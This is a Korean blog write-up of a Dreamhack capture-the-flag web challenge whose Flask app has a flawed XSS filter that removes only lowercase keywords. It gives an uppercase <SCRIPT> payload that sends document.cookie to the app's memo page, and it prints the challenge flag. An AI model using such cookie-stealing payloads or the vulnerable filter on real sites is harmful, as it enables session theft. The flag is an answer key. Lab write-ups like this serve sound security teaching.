Home [Dreamhack] XSS Filtering Bypass 해설
Post
Cancel

[Dreamhack] XSS Filtering Bypass 해설

문제 특징

XSS를 사용한 해킹 & 금지 태그 우회

난이도: Lv.1

카테고리: 웹해킹


문제 구조

문제파일구성

1
2
3
4
5
6
7
8
/
├── deploy
│   ├── app.py
│   ├── flag.txt
│   ├── requirements.txt
│   ├── static
│   └── templates
└── Dockerfile

주요 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#app.py

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

이 문제는 문제의 제목 그대로 xss-2문제와 매우 유사한 문제이지만, 특정 명령어를 /vuln주소로 이동할 수 없게 막아놓은 코드가 존재한다.

XSS가 무엇인지 궁금하다면 xss-2문제를 먼저 확인하자.

풀이

필터에 유의하여 페이로드 작성하기

1
2
3
4
5
6
def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

필터로 작동되는 함수를 확인하면, 대문자로 페이로드를 작성했을때, text.lower()로 인해서 감지는 가능하지만, 해당 텍스트를 삭제할 때에는 소문자로 된 텍스트만 삭제하기 때문에, 대문자로 작성된 스크립트는 우회가 가능하다.

EX)

script1 => 1

SCRIPT1 => SCRIPT1

1
2
3
4
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

또한 /vuln주소에서 param을 그대로 return하기 때문에 <SCRIPT>태그가 사용 가능하다.

페이로드

1
2
<SCRIPT>fetch('/memo?memo='+document.cookie)</SCRIPT>

해당 페이로드를 /flag<input> 박스에 넣고 전송하면 /memo에서 플래그를 확인할 수 있다.

정답

DH{81cd7cb24a49ad75b9ba37c2b0cda4ea}